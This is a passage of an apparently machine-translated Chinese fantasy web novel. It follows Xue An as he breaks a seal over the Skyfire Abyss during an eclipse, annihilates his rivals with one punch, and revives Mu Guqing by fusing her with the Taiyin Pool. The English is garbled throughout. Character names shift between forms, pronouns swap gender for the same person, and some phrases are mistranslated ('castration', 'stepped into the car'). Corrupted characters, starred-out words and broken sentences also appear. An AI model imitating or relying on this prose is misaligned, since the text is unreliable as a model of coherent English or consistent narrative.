    "Hall of Li, this lady is relying on the strength of Xue An, it is too arrogant, I can''t swallow this breath! Just about to argue with her, what do you mean by dragging me away?" Said.


    Li was fierce and smiled, "Lord Dongwu, speaking of **** vengeance, the Temple of Li is no worse than your Feilongwu, but now is not the time to quarrel with this Zhong Anan! She is arrogant and will not be arrogant for several days!


    "You mean..." Dongxiong''s eyes lit up.


    Lixie sneered and said: "I have united some strong men. If this Xue An has not appeared before tonight, we will start together to eliminate the people of the Taiyin Protoss first, and then unite the strong men to destroy this Skyfire Abyss is forcibly blocked!"


    "At that time..." At this point, Li Xiong''s eyes flashed with spite.


    "No matter how strong this Xue An is, he will be lost in the gaps of space and unable to return! In that case, wouldn''t our great feud be reported?"


    Dongxiong shook his whole body, then ecstasy appeared in his eyes, "This plan is wonderful! But why not do it at this time?"


    Lixie shook his head, "No, it is not so easy to block the abyss of skyfire, you must rely on the right time and place! When the sun rises tomorrow, it will happen to be a rare eclipse day in a hundred years, and even our gods The spiritual energy will be disordered, and only with the power of the tengu can the abyss of fire be completely sealed off, so that Xue An will never be able to live beyond!"


    Dongxiong heard the words and nodded his head seriously, "So that''s the case, the lord of the palace is thoughtful! Then my Feilongwu people are also ready to do it together!"


    "It''s so good!"


    Under the auspices of the Temple of Power and Feilongwu, an undercurrent began to surge.


    Zhong Anan seemed to be aware of this, but he didn''t take any action. He just ordered all Taiyin tribesmen to be ready.


    Time passed by every minute and every second, when the night gradually faded, and the white belly appeared in the east.


    Lixiu, Dongxiong and others looked at each other.


    Then he began to prepare calmly.


    When a round of golden sun slowly leapt into the east.


    Li Temple, Feilongwu and several other powerful clansmen have quietly gathered around.


    "Patriarch!" The Taiyin Protoss naturally noticed the abnormality long ago. One of the patriarchs couldn''t help but shouted anxiouslyZhong Anan sat on the ground, opened his eyes and took a look at slowly approaching after hearing the shout. Lixiu and others, without the slightest surprise on their faces, slowly stood up.


    "What are you...what are you doing?" Zhong An''an said coldly.


    "Haha! Zhong Anan, don''t you know what we are going to do? This Xue An has been there for more than ten days without any news, and he has obviously died in the abyss of fire. You are in the mood to wait here, but we don''t! "Dongxiong grinnedly said.


    "Yes, we don''t have time to spend here! This Xue An has definitely suffered an accident! Otherwise, it will never be so long before returning!" Someone agreed.


    "Yes! Let''s not give this Xue An a guard!"


    Amid the drum noise, Zhong An''an''s face was as cold as ice, and he said nothing.


    Likely, there was also a sneer at this time, "Zhong Anan, because you and my brother were the arrogant talents at the beginning, now obediently let go, I don��t want to embarrass you, otherwise..."


    Zhong Anan interrupted him directly, "Wishful thinking!"


    Li''s fierce complexion changed, and he said grimly: "Then no wonder everyone else! Let''s go together!"


    Boom!


    The people from ����li Temple and Feilongwu rushed up and directly fought against the people of Tianyin Protoss.


    Feilongwu''s strength is much inferior to that of the Taiyin Protoss.


    The addition of the Temple of Power has made the two sides evenly matched.


    After all, the Temple of Power at the beginning was also a rich family in the world. .


    Therefore, in this fight, no one can help each other for a while.


    and the crowd watched all this with cold eyes from a distance.

 Chapter 1153： Tengu eclipse day, seal the abyss

    At this moment.


    I saw the golden sun that had been on the sun, and suddenly a dark spot appeared on the edge, and then the dark spot began to expand at a speed visible to the naked eye.


    "It''s Tengu Eclipse Day!" Someone exclaimed.


    Like seeing this scene, a flash flew out of the battle group, and said in a deep voice: "Master Dongwu, these ladies will leave it to you!"


    Dongxiong said grimly: "Good to say!"


    Then he drew a fierce body, and came to the sky above the abyss of fire, reached out from his arms and took out a majestic and simple bronze mirror.


    At this time, from the Quartet World, there are more than a dozen streams of light rushing, and they are all the powerhouses on the side.


    I nodded at these people fiercely, "Don''t miss the chance, you guys do it!"


    When these people heard the words, it was like a stream of light exploding, and they instantly separated to all directions in the abyss of sky fire, and then Qi Qi took out an ancient mirror from his arms.


    at the same time.


    The scorching sun in the sky has been mostly obscured.


    The originally clear sky became dim.


    But when the ancient mirrors in these people''s hands appeared, they saw that the scorching sun above the sky suddenly shot down a beam of light mixed with black and white.


    Then there was a ripple in the abyss of fire.


    Zhong Anan wakes up like a dream, "It''s a blockade!"


    At this point, she finally understood what Lixie and others were going to do.


    They obviously wanted to take advantage of the rare tengu eclipse day in a century, when the heaven and earth''s aura was disturbed, with the help of the power of the tengu, to completely seal off the abyss of fire.


    This discovery made Zhong An��an cold and full of fear.


    Because if Lixie and others are really done, even if Xue An wants to return by then, it is probably impossible!


    can''t do it! I must stop them!


    Thinking of this, Zhong An''an rushed forward recklessly.


    Wherever ���� passed, the air of Xuan Yin would freeze all those who were blocking her.


    But at this moment, a flying dragon rushing towards the Qi-controlling dragon, life hindered Zhong Anan''s castration.


    Then he saw Dongxiong grinningly and said, "Patriarch Zhong, what are you doing in such a hurry? It''s still early, we can play slowly!"


    "Get out of here!" Zhong An''an flushed his eyes, furious, and moved his hand directly.


    But although her strength is slightly stronger than this Dongxiong, the people from the Temple of Power also gathered around at this moment and immediately surrounded Zhong An''an.


    Zhong An''an charged several times, but was unable to break through the encirclement. He could only watch the sky-fire abyss, a blockade made of tengu essence gradually took shape.


    This discovery made Zhong Anan''s heart shattered. Under his anger, he vomited a big mouthful of blood.


    "Hahaha, this Zhong Anan can''t hold it anymore, remember, you have to catch alive!" Dongxiong was overjoyed when he saw this, and hurriedly ordered.


    But seeing the encirclement gradually shrinking, the people of Lishen Temple and Feilongwu pressed on step by step, trying to capture Zhong An''an alive.


    Zhong Anan smiled miserably when he saw this.


    Unexpectedly, the wind and waves would come through, but in the end he fell into the gutter.


    It''s really unwilling to die in the hands of these people!


    At this moment, I saw that the golden sun above the sky was completely eaten by the tengu, and the sky and the earth were dark.


    Only the dozen or so ancient mirrors exuded a cold light.


    and the blockades are superimposed crazily.


    at last.


    The Fire Abyss trembles suddenly this day.


    Then there came the fierce laughter.


    "Hahahaha, the blockade is complete! From then on, the Skyfire Abyss will no longer exist!"


    Zhong Anan heard this and closed his eyes in despair.


    And everyone in the audience couldn''t help but focus on the powerful body.


    I saw the fierceness at the moment, with a cheerful face, looking down at the already sealed abyss of the sky fire, and then grinning: "Xue An, are you satisfied with the graveyard I made for you?"


    After that, he looked up to the sky and laughed fiercely.


    can be at this moment.


    I saw the Skyfire Abyss, which had just been successfully sealed off, suddenly began to shake.


    It was as if one of the giant beasts was about to break the seal.


    This kind of power has changed everyone in the audience.


    And Zhong Anan also suddenly opened his eyes and looked far away intently.


    Only the indifferent color on his face was powerful and fierce, and he smiled and said: "Don''t panic, everyone, this blockade is the power of a borrowed tengu. How can this blockade with the might of heaven and earth be broken by humans?"


    As expected.


    As soon as his voice fell, the tremor of the Skyfire Abyss stopped.


    It''s as if the behemoth has given up on struggling.


    Zhong An''an''s heart suddenly tightened, and he whispered softly: "My lord..."


    While the force is fierce, he laughed and laughed: "What I said, this blockade is solid, it is not something human can break through, I..."


    The voice did not fall.


    Seeing that the blockade on the Abyss of Skyfire was suddenly shaken, cracks appeared in everyone''s horrified and unbelieving eyes.


    The smile on ���� Lixian''s face froze, and he looked at the cracks on the blockade as if he had seen a ghost, his lips moved, and he wanted to talk.


    can be at this moment.


    Just hearing a loud bang, the blockade broke apart.


    At the same time, the golden sun in the sky that was eaten by tengu was also shaking.


    Many people just felt that there was a faintly screaming sound in the sky, and then the darkness above the scorching sun faded at a crazy speed.


    The sun returns to the earth.


    Then a beam of light shot down from the scorching sun to the abyss of skyfire.


    bang bang bang!


    Amidst the continuous explosions, the ancient Fang mirror on that side burst open.


    Exploded together, there is also a person with a mirror.


    In an instant, the many powerful men who had just been powerful above the Abyss of Fire, only one stood there fiercely and tremblingly.


    The ancient mirror in his hand also exploded, but as a descendant of the Temple of Power, he did practice well in physique, so he didn''t suffer too much injury.


    But the more so, the more scared he is.


    Because he found that he couldn''t even move.


    can only look at the Abyss of Skyfire with horror on his face.


    Everyone is stupid, because this change is so fast.


    is under the attention of everyone, but in the rising light, the figure of a white-clothed boy slowly emerges.


    After he appeared in front of everyone, he saw Jin Yang drop down the beams of light, reflecting on him, setting him off like an immortal.


    Zhong Anan was also stunned by this spectacle.


    And Xue An slowly looked around the audience, then stopped his eyes on Lixie, whose eyes were full of horror, and said lightly: "It''s a good idea to use the power of the sun-eating dog to block me! It''s a pity, Is a tengu in a mere mere my opponent?".


    Xue An��s words utterly condemned the heart, making this ferocious and all the unruly people instantly pale.


    As Xue An said, just when he was about to fly out of the abyss of skyfire, he found that he was forcibly blocked by someone, and he was still using the power of the Tengu, which made him very unhappy.

 Chapter 1154： Shattered for nothing, fear of mighty virtue

    Although Xue An could break the blockade, he didn''t bother to think about it. Instead, he broke the blockade with his fist.


    In Lixie''s eyes, it was as solid as a blockade, and it broke apart without supporting Xue An''s three punches.


    And broken together, there is the hapless Sun-Eating Tengu.


    Because of this, Jin Yang, who was able to get away this round, would attack with anger and smash all the dozens of ancient mirrors.


    At the same time, Xue An''s eyes were sharp as diamonds, and he suddenly squeezed the palm of his hand, squeezing the space and creaking, then smiled violently.


    "I wanted to let you go, but since you are obsessed, don''t blame me!"


    After all, Xue An didn''t bother to pay attention to the horrible howls of force and Dong Xiong and others, stepped forward and blasted a punch.


    boom!


    This punch seemed to shake the entire world, and the powerful punch surged up, directly swallowing the terrified Power Temple and Feilongwu and others.


    No screams, no struggles!


    When the power of the fist dissipated, the field was empty, and the people in the Temple of Power and Feilongwu had disappeared.


    With just one punch, these people were blown to nothing.


    The power of this punch, everyone who was shocked was stunned.


    Especially the people of the Taiyin Protoss, they were still in a heavy siege just now.


    But under Xue An''s punch, all the enemies around him didn''t even have dregs left.


    But he was unscathed, only that there was a breeze blowing.


    What a terrifying control is this?


    At this time, Xue An fell to the ground.


    Zhong An''an and others came back to their senses and hurriedly stepped forward to give a salute. Xue An smiled and waved his hand, and then looked at the crowd in the distance.


    These people all shook, and then they bend over in a panic and salute.


    "grown ups!"


    "I have seen an adult!"


    "Welcome your lord back!"


    heard these trembling shouts.


    The light in Xue An��s eyes was unpredictable. After a long time, he faintly said: "Forget it, I wanted to eliminate you all at once, but the killing is too much and it doesn''t conform to my original intention. This time I will let you go!"


    Hearing these words, these people felt that the hairs all over their bodies were standing up, and some of them were timid and their legs were shaking.


    Because they knew that they had just turned around before the ghost gate.


    If this killer young master is unhappy, he throws a punch.


    Then his own fate may be the same as the power temple and Feilongwu just now, completely vanished.


    "Thank you, sir!"


    "I hope that in the future, only the adults will look forward to it!"


    "Yes, my lord will be the master of my waiting!"


    These shouts come and go.


    Xue An only raised his eyebrows slightly, and then said without looking back: "Ms. Zhong!"


    "Yes!" Zhong Anan nodded hurriedly.


    "Have you seen? The so-called villains are fearful but not ethical! Don''t look at their current performance. If they lose their strong power and deterrence, they will slack off within ten days! So think about it. To make them obedient is to make them afraid of you! Understand?"


    Zhong An''an thoughtfully looked at the crowd on the opposite side, and then nodded, "Understood!"


    Xue An smiled faintly, "Very good! Let''s go, take a trip to your Taiyin Pool!"


    After that, Xue An didn''t see any movement, but the whole person rose into the sky in an instant.


    Then Zhong Anan and everyone from the Taiyin Protoss felt that their body was being dragged by a strong force, rising from the ground, following Xue An, and disappearing into the sky in a flash.


    left a group of shocked people standing there and watching.


    It wasn''t until a long time that someone said with horror: "He... he seems to be stronger again!"


    Everyone was silent.


    This is even a fool to see.


    The key is that from Xue An''s exit to the present, the power of the body has been used, and the slightest cultivation base has not been used.


    Even when he flew up without the slightest smoke, there was no aura of fluctuation.


    This can only show that Xue An''s physical body is now so strong that it is almost abnormal.


    Now, these people looked at each other, then smiled bitterly, and then dispersed.


    And Xue An re-entered the customs, and the news that everyone in the Temple of Li and Feilongwu had been wiped out with one punch also spread.


    at the same time.


    Xue An has already entered the Taiyin Pool first.


    After he landed on this island.


    Zhong An''an and others have just arrived.


    At this moment, this once beautiful island has been devastated.


    At the beginning, Qi Xuanfeng wanted to search for treasures and at the same time to destroy the place where the Lunar Protoss came from, so he wrecked it.


    All the buildings were torn to the ground.


    Some valuable things are swept away.


    Such a tragic situation naturally caused all Taiyin people to be angry.


    Xue An ignored these, but went straight to the dilapidated central hall.


    When Xue An stepped into it.


    However, seeing the ruins of the broken wall and the mess everywhere, I can''t see the original scene at all.


    Zhong An''an and others already knew that Mu Guqing had fallen into the Taiyin Pool in this hall.


    Therefore, they all cried out.


    "Master!"


    "Old Patriarch!"


    It''s a pity, even if they wanted to find the spring water they had originally.


    Because Qi Xuanfeng was afraid that something might happen here, he directly teamed up with Gucci and the people of the Five Elements Sect and completely destroyed this place.


    This kind of hatred made Zhong Anan, who was always calm, go crazy.


    At this time, Xue An squeezed the seal of determination and said lightly: "Cause and effect, retrospect!"


    Boom!


    But I saw a road of Guanghua spread out around Xue An and swept across the island in an instant.


    Then a strange scene appeared in front of Zhong Anan and others.


    But seeing the Guanghua shrouded in the room, the buildings that had been torn down began to recover, and the damaged ground was repaired.


    Even the broken trees began to grow again.


    "Reverse...reverse cause and effect?" Zhong Anan was almost silly.


    She had only heard of such supernatural powers, but had never seen it before.


    It can be heard that this cause and effect cannot be interfered by Da Luo or even a higher level of peerless power?


    Xue An smiled, "It''s not a reversal! It''s just a small trick!"


    Actually Xue An can indeed interfere with some cause and effect, for example, his natal magic is cause and effect.


    But before this kind of power can only be used when facing the enemy.


    But after the fire refining the body that day, Xue An can now trace some simple causes and effects with some small skills.


    Of course, what is more important is that Qi Xuanfeng and others who destroyed this place have been killed by Xue An.


    If they are still alive, then this trace of cause and effect will not be so easy.


    When everything is restored.


    Xue An walked to the spring eye that reappeared, stared for a moment, and said lightly: "It seems that I guessed right, you really still have a ray of life!"


    Talking, Xue An raised his hand and suddenly reached into the spring water.


    This spring water leads directly to the Taiyin Pool, and when it is overcast to cold, ordinary people will have life worry if they touch a little.


    But to Xue An, these things are nothing but mediocre. .


    After a while.


    Xue An suddenly yelled, "Get up!"

 Chapter 1155： Combine into one body to prove that the Tao becomes a god

    Following this order, the entire island began to shake violently, and then slowly rose in the dumbfoundedness of everyone.


    The island is surrounded by endless water, so when the island rose from the ground, but seeing the waves surrounding the island, it did not come.


    at last.


    The island slowly stopped after rising to a height of 100 meters, and a deep cold spring water was exposed below.


    But at this moment, there is a person floating in the spring.


    is the Mu Guqing who plunged into the Taiyin Pool.


    At this moment, she is floating in the spring water, her long hair spread out, her complexion is extremely pale, and her lips are red like flames.


    At first glance, it looks like a water monster asleep.


    As soon as they saw this scene, the people of the Taiyin Protoss cried out one after another.


    "Old Patriarch!"


    "Patriarch Mu!"


    And Zhong Anan has already burst into tears, but she still kept her rare calmness, turning her head to ask carefully.


    "My lord, Master, can she... really survive?"


    Xue An stared at this deep spring, and said lightly: "This Taiyin Pool is a naturally generated place of the most yin, and it happens to be yin and yang with the abyss of fire that day. Generally speaking, those who fall into it unless they have strong strength , Otherwise you will definitely die!"


    Hearing Xue An��s words, Zhong An��an trembled all over, and his complexion instantly turned pale, "That...then my master..."


    Xue An turned his head and smiled at her faintly, "Don''t worry, your master is an exception!"


    "This Taiyin Pool has gained a bit of spirituality for a long time, and your master has been in charge of the Taiyin Protoss for thousands of years, this Taiyin Pool has already had a hint of closeness to it! This time she fell into the Taiyin Pool, and she would definitely die, but In the Taiyin Pond, a trace of profound yin aura protected her soul and body, and this preserved her vitality!"


    After hearing Xue An��s explanation, Zhong An��an took a deep breath, but he hadn��t waited for her heart to completely let go.


    I saw Xue An and said, "But..."


    This, but Zhong An��an��s heart raised his throat again, "My lord, but what?"


    Xue An shook his head gently, "Although your master has retained a glimmer of life, her meridians are broken, her cultivation is exhausted, and her lamp is exhausted! And the protector of the Taiyin Pool is completely unconscious. In addition, after so long, she can no longer separate from this Tai Yin Pond!"


    "Then...what should I do?" Zhong An''an''s expression changed wildly.


    Xue An said lightly: "For today''s plan, there is only one way!"


    "What way?" Zhong An''an asked eagerly, already many Taiyin people.


    Xue An smiled slightly, "Abandon the physical body, become one with this taiyin pool, and prove the way into a god!"


    Hearing this, the complexion of Zhong Anan and many Taiyin people changed.


    Especially Zhong An''an, she trembled: "You...you mean...let my master be the master of this taiyin pool?"


    Xue An nodded, "Yes, the only way to regain her consciousness! Of course, there is also a drawback to this, which is to imprison eternal life in this spring water! What you can get... is eternal life!"


    There was a commotion in the crowd, but Zhong Anan slowly lowered his head, silent.


    Xue looked at her quietly, "Now there is only one way, you can measure it yourself!"


    "Sir, can my master''s consciousness be restored?" Zhong Anan asked suddenly.


    Xue An shook his head, "I can''t guarantee that, after all, she is not dead but not alive. It is only under the maintenance of Xuan Yin Qi that she can barely survive until now! So whether her consciousness can be restored or not depends on her good fortune! "


    ''S remarks made many people''s complexions frantic.


    But at this moment, Zhong An''an suddenly raised his head, with a ray of determination in his eyes.


    "My lord, please help! Even if the master really loses all consciousness, as long as she is there, that''s enough!"


    Xue An''s eyes showed a touch of appreciation.


    Facing such difficult choices, it is commendable that Zhong Anan can be so calm.


    "That''s good! You wait and step aside!"


    After that, Xue An put on his robe, and his whole person disappeared instantly. When he reappeared, he had already come before the spring.


    After getting closer, layers of ice blossoms appeared around Xue An''s body, and waves of extremely cold and yin air appeared crazily, seeming to prevent Xue An from coming.


    This kind of yin-qi normal monk may be utterly destroyed if they get a little bit of it.


    But Xue An just waved casually.


    These chilling airs obediently stepped aside and gave way.


    Then Xue An stepped into the car and walked slowly to Mu Guqing, who was quietly floating in the middle of the Taiyin Pool.


    When he got closer, Mu Guqing''s hair swayed, and crystal clear ice crystals were condensed on his body.


    Xue An took a deep look, "It''s really a miracle that you can persist until now. This time, I will help you!"


    Talking, Xue An raised his hand and pointed.


    But a brilliance flashed by.


    Mu Guqing''s body trembled slightly, and then shattered into a little brilliance in this instant.


    "Patriarch!"


    The members of the Taiyin tribe who watched this scene at a height of 100 meters all exclaimed.


    Although Zhong An''an didn''t speak, his lips were bitten, leaving a trace of red blood.


    Because of Xue An''s , Mu Guqing''s body was completely wiped out into powder.


    It can be said that it also blocked all retreats.


    Zhong Anan throbbed naturally.


    At this time, the light dissipated, and in the place where Mu Guqing disappeared, a small flower made of ice crystals was floating there tremblingly.


    The brilliance flashed in Xue An''s eyes, and the whole Taiyin Pool instantly became stagnant.


    Then Xue An stretched out his hand and started writing something in the air.


    But seeing the fingertips across, the faint golden glow condenses and stays away.


    In an instant, Xue An drew a complex and mysterious talisman out of thin air.


    After Xue An made up the last sum, the whole Taiyin Pool boiled completely like a pot.


    Countless profound Yin Qi was inspired from it, sweeping towards Xue An like a stormy sea.


    Xue An was not moved at all, but said indifferently: "Mu Guqing listened to the order, today, I will make you the **** of the Taiyin Pool!"


    Following Xue An��s words, this talisman seal appeared on the ice crystal flower in an instant, wrapping it directly.


    At the same time, the extremely cold and yin air has already rushed forward.


    is so powerful that he obviously wants to put out the ice crystal flower left by Xue An and Mu Guqing.


    But Xue An also pointed to a sword at this time, and then cut down with a sword.


    Boom! !


    After a loud noise, all the extremely cold yin qi that hits was directly shattered, and the turbulent sword intent rushed directly into the depths of the spring water.


    This Tai Yin Pond was a huge earthquake, it felt like a giant beast was struggling in pain after being injured.

 Chapter 1156： Against the sky

    Xue An said lightly: "A mere primitive consciousness, dare to defy my orders? Believe it or not, if you dare to counterattack, I will directly blast your Taiyin Pool to pieces?"


    Hearing Xue An��s voice, the Taiyinchi trembled for a while, and then slowly calmed down.


    Xue An nodded, "This is right. From then on, you will become one with this Mu Guqing! This is also your chance. Otherwise, relying on your shallow consciousness, you may never be able to condense. Come out of human form!"


    Hearing Xue An��s words, the Taiyinchi trembled slightly, as if a little beast was whimpering aggrievedly.


    Xue An smiled, "Okay, you were a little bit painful when you hit you just now, but you asked for it!"


    As he said, Xue An turned his head and looked at the slowly spinning ice crystal flower wrapped in Fuzhuan, and gave a soft drink.


    "Mu Guqing, if you don''t wake up now, when will you stay?"


    With this soft drink, the slowly rotating ice crystal flowers suddenly stagnated, and then they fell apart.


    This sudden change made the Taiyin people unexpected, and they were all frightened on the spot.


    Only Xue An didn''t have any expression, just watched quietly.


    at this time.


    But seeing the broken fragments suddenly stretched out, and then reunited.


    At the same time, I saw countless brilliance vines resembling rhizomes stretched out from this flower, and then directly extended into the depths of the Tai Yin Pond.


    In an instant, but I saw a lot of light spots spreading along the brilliance vine.


    Then I saw the flower, and a faint shadow began to appear.


    In just a few breaths, the true appearance of this phantom appeared in front of everyone.


    At first glance, this phantom looks like a loli version of Mu Guqing, with long hair covering her whole body, only revealing the delicate collarbone.


    Then Mu Guqing slowly opened his eyes.


    At the moment she opened her eyes, the entire Taiyin Pool was trembling, as if welcoming the arrival of her master.


    And at this moment, in her pair of cut water pupils, there are even more dense runes of debut.


    The momentum is so strong that the pool water around her instantly condenses into ice crystals.


    But when she was about to reveal her power, Xue An didn''t know when she appeared in front of her, raised her hand and squeezed her chubby face, and then nodded in satisfaction, "Very well, it seems I The guess is correct, this profound Yin energy can really condense into a human form! And it feels good!"


    These words, coupled with Xue An''s actions, really seemed like a strange uncle who couldn''t walk when he saw Loli.


    But in front of Xue An, this majestic and reduced version of Mu Guqing didn''t even dare to move. He stood there stiffly, with a look of horror in his eyes.


    is like a kitten, seeing the owner she fears.


    Upon seeing this, Xue An retracted his hand in embarrassment, and then touched his nose, "Cough cough, forgot that you have become one with the original will of this Taiyin Pond! Sorry, that sword was indeed a bit harder! "


    But the more Xue An explained, the more fearful the color of Mu Guqing''s face became.


    at the same time.


    Zhong Anan rushed over desperately.


    Unexpectedly, the Taiyin Pool, which all the people of the tribe didn''t dare to get too close, accepted her without hindrance at this moment.


    "Master!" When Zhong Anan appeared beside Xue An, he couldn''t wait to shout.


    This claim made Mu Guqing tremble all over, then turned his head to look at Zhong An''an, but his eyes were filled with blankness.


    "Master, do you remember me? I am An An!" Zhong Anan choked up.


    Ke Mu Guqing did not respond to this.


    "My lord...what is going on?" Zhong Anan turned his head to look at Xue An when he saw it.


    Xue An sighed lightly, "It seems that I somewhat underestimated the original will of the Taiyin Pool! Now that the two are combined, I don''t know whether it is your master��s will to admire Gu Qing, or the original will of the Taiyin Pool. Lord!"


    "Then...what should I do?" Zhong An''an asked anxiously.


    Xue An shook his head, "You can only do this first, and see if your master can regain consciousness as soon as possible! But this process should be very long. After all, this Taiyin Pond has existed in this world for too long. This primitive will is stupid. , But extremely powerful! If she is lost in it, she may not recover for a long time! To put it bluntly..."


    "Everything depends on her luck!"


    Xue An''s words made Zhong An''an and all the people of the Lunar Protoss feel sad.


    But they also know that this is already the optimal solution!


    After all, Mu Guqing himself had run out of oil at the beginning, and coupled with the persecution of Qi Xuanfeng and others, now there is a glimmer of life, Xue An is already going against the sky.


    At this time, Zhong Anan pulled out the long sword that Mu Guqing had given her before, and said in a trembled voice: "Master, do you remember this sword?"


    Mu Guqing remained silent, without any response.


    Zhong An''an became more and more sad, "Master, this is your favorite saber! Look..."


    Talking, Zhong Anan released his sword, but saw the light of the sword, and went straight to Mu Guqing.


    Mu Guqing stepped back subconsciously, trying to resist, but at this moment, the long sword circled Mu Guqing a few times, and then hovered in front of her, the blade trembled lightly, looking extremely happy.


    Zhong Anan��s eyes showed hope, and he hoped that Mu Guqing would regain his consciousness after seeing this long sword.


    But she was disappointed This Mu Guqing just looked at the long sword with a guarded face and didn''t do anything at all.


    Zhong An''an couldn''t help sobbing when he saw this, "Master, you wake up! I miss you so much, I really want to really miss you! Wouldn''t you not be like this? Master..."


    Next, Zhong Anan began to narrate some past events.


    But even so, Mu Guqing still didn''t respond.


    Xue An couldn''t help but shook his head and sighed, then patted Zhong An''an on the shoulder, "Ms. Zhong, this is not an overnight thing, at least it has inherited Master''s current consciousness, let''s go first!"


    Zhong An''an nodded his head in the end despite his dismay.


    "Yes, my lord!"


    said, she turned around and left.


    But before leaving, she suddenly seemed to think of something, and said solemnly: "Master, the Heavenly Fire God Clan that had insulted us has been annihilated by the adults, and the traitor Profound Soul has also been punished! You can rest assured!"


    After that, she turned around sadly and was about to follow Xue An to leave.


    But at this moment, after hearing Zhong An''an''s words, Mu Guqing, who was originally filled with a blank face, was shocked, the blankness in his eyes gradually faded, and finally a hint of clarity appeared.


    Then she lightly opened her lips, and whispered: "Ann...Ann!"


    This call is very small, but it sounds like thunder in Zhong An''an''s ears.


    She suddenly turned around, looking at Mu Guqing with disbelief. .


    At this moment, the clearness in Mu Guqing''s eyes became more and more prosperous, and finally she showed a smile on her face.


    "An An, I''m back as a teacher!"

 Chapter 1157： Plant evil causes and consequences

    "Master... Master?" Zhong Anan looked at Mu Guqing with disbelief.


    Mu Guqing smiled and nodded, "Yes, it''s me!"


    As soon as the voice fell, Zhong An''an rushed forward, hugged Mu Guqing, and sobbed with joy.


    "Master, I thought I would never see you again. It is great that you can come back!"


    Mu Guqing''s current body shape looks like a little loli, after being held by Zhong An''an, she looked a little awkward, but she still patted Zhong An''an on the back.


    "Alright! Don''t be sad, haven''t I already returned?"


    At this time, all the people of the Taiyin Protoss also rushed over, and then all knelt to the ground, all cried out with a little choked.


    "Old Patriarch!"


    "I have seen Patriarch Mu!"


    These shouts are all sincere and moving.


    Mu Guqing nodded slowly, "Get up all!"


    Following her voice, a soft Xuanyin force lifted all the Taiyin people who were kneeling on the ground.


    This hand caused a commotion in the crowd, because it showed that Mu Guqing had already controlled the Taiyin Pool in his hands.


    In other words, as Xue An said, she has become the **** of Taiyinchi.


    This discovery naturally shakes the hearts of many people.


    At this moment, Mu Guqing nodded to Zhong An''an and the others, "You all go out, I have a few words to say to the adults!"


    As he said, Mu Guqing waved his hand, and the breath of Xuan Yin directly sent Zhong An''an and others out of the Taiyin Pool.


    In an instant, Xue An and Mu Guqing were left in the Taiyin Pool.


    Xue An stood with his hands behind, watching with interest, but did not speak.


    and Mu Guqing took a deep breath, then stepped forward half a step, knelt down, and solemnly knocked three heads at Xue An.


    During the whole process, Xue An didn''t dodge, and all accepted it calmly.


    After the kowtow, Mu Guqing raised his head and said solemnly: "Mu Guqing, the 18th generation patriarch of the Taiyin Protoss, thank you for your help!"


    Xue An smiled faintly, "Get up, you can survive is also a combination of various opportunities, otherwise I can do nothing!"


    Mu Guqing just stood up.


    "Let''s go ahead, what are your doubts?" Xue An knew that since Mu Guqing was so solemnly, and even dismissed Zhong Anan, he must have her thoughts.


    As expected.


    Mu Guqing groaned for a moment, then smiled bitterly: "My lord, An An once mentioned you to me before. At that time, I still didn''t believe her words and felt that the truth was a bit overstatement!"


    "But it seems that she does not understand you enough!"


    "Oh? Why do you say that?" Xue An smiled lightly.


    Mu Guqing took a deep breath, "Actually, since I plunged into this Taiyin Pool, my whole person has fallen into a state of non-death and non-living, and my whole body has been forcibly frozen, but my mind is indeed sober!"


    "I can feel the primordial will of this Taiyin Pond!" Speaking of this, a look of horror appeared on Mu Guqing''s face.


    "What kind of divine thought is that, like a deep black pool, I can''t figure it out! If it weren''t for its mentality and ignorance, it might have swallowed me at that time!"


    "Nevertheless, I can still feel that the original will of this lunar pool left me, because I want to swallow my soul and give birth to spiritual wisdom!"


    Hearing this, Xue An raised his eyebrows slightly.


    Mu Guqing smiled bitterly at this time, "To be honest, I was really desperate at the time. The endless cold and loneliness was eroding my heart little by little. If it weren''t for worrying about Anan and the others, I might have given up resistance long ago. Throw yourself into the darkness!"


    "But I don''t know how long I can last! Until I meet you!"


    Speaking of this, there was light in Mu Guqing''s eyes.


    "Using magical runes to cut off the entanglement between me and the primitive will of the Taiyinchi, and then forcibly condense my soul, let us merge into one, and finally make me a **** here! I can only use these methods to guard against the sky describe!"


    This sounds a bit exaggerated, but Mu Guqing is very serious, because she really thinks so.


    Xue An did not show the slightest arrogance, just smiled faintly, "I saved you because what you did is worthy of being a real strong man, but with those words, you can really wake up. , It��s your luck, I just made it easy!"


    "And, that''s all you want to say?"


    Mu Guqing took a deep breath when he heard the words, and then said solemnly, "My lord, if I didn''t guess wrong, you should be a strong Chinese!"


    Hearing this, Xue An, who was originally full of indifferent eyes, suddenly opened his eyes, and an aura instantly swept across his body, causing the entire Taiyin Pool to tremble.


    Mu Guqing was also forced back dozens of steps away, and then looked at Xue An with horror on his face.


    is so powerful just by his aura, how tough is this boy?


    At the same time, Xue An said in a deep voice: "You actually know the Chinese, what else do you know?"


    At this moment, Xue An��s heart was also shaken.


    Because of his Chinese origin, the incident has never been mentioned to anyone in the God Realm.


    But this Mu Guqing can say these two words, which shows what she should know.


    But Xue An may also be agitated for a while, forgetting how powerful he is now.


    The momentum of the questioning locked Mu Guqing firmly and even made her float up, and then shouted with painful expression: "Big...sir!"


    The shout made Xue An regain his consciousness. He took a half step back, his momentum instantly converged, and then said lightly: "I''m sorry, I was a little negligent! But you know something, now tell me about it!"


    Mu Guqing stroked his chest quite shockedly, and said respectfully after gradually returning to calm.


    "My lord, I only had some guesses about your identity before, but now that you are sure that you are a member of the Chinese nationality, and you have a great kindness to my Taiyin Protoss, then I will naturally not hide it!"


    While speaking, Mu Guqing raised his head and looked at Xue An with piercing eyes.


    "My lord, are you here for the chaos of the heavens ten thousand years ago?"


    Xue An''s eyes burst upon hearing this, and then nodded, "That''s right!"


    Mu Guqing gave a wry smile, and whispered to himself: "Sure enough! The evil cause that you planted back then is now finally time to repay!"


    Then Mu Guqing took a deep breath and said in a deep voice, "My lord, even though I haven''t personally experienced the chaos that happened ten thousand years ago, the patriarchs of the past will pass on word of mouth and pass down what they have seen and heard, just to wait for this day. !"


    "Before ten thousand years, my Taiyin Protoss was just an inconspicuous small group, but even this was not spared, and was encumbered to attack the camp of the Chinese gods!".


    Speaking of this, Mu Guqing did not forget to add, "Don''t worry, my lord, our Taiyin Protoss has not done anything to sorry the Chinese gods!"


    Then she went on to say: "The chaos spread so extensively that even the strength of the entire God Realm was involved."

 Chapter 1158： 3,000 miles of blood flow, bones like mountains

    "Countless gods caught each other and killed each other, the strong fell like rain, the blood of the gods spilled over the sky, and the condition was so terrible, in the words of my master at the time, blood flowed three thousand miles, and bones were like mountains!"


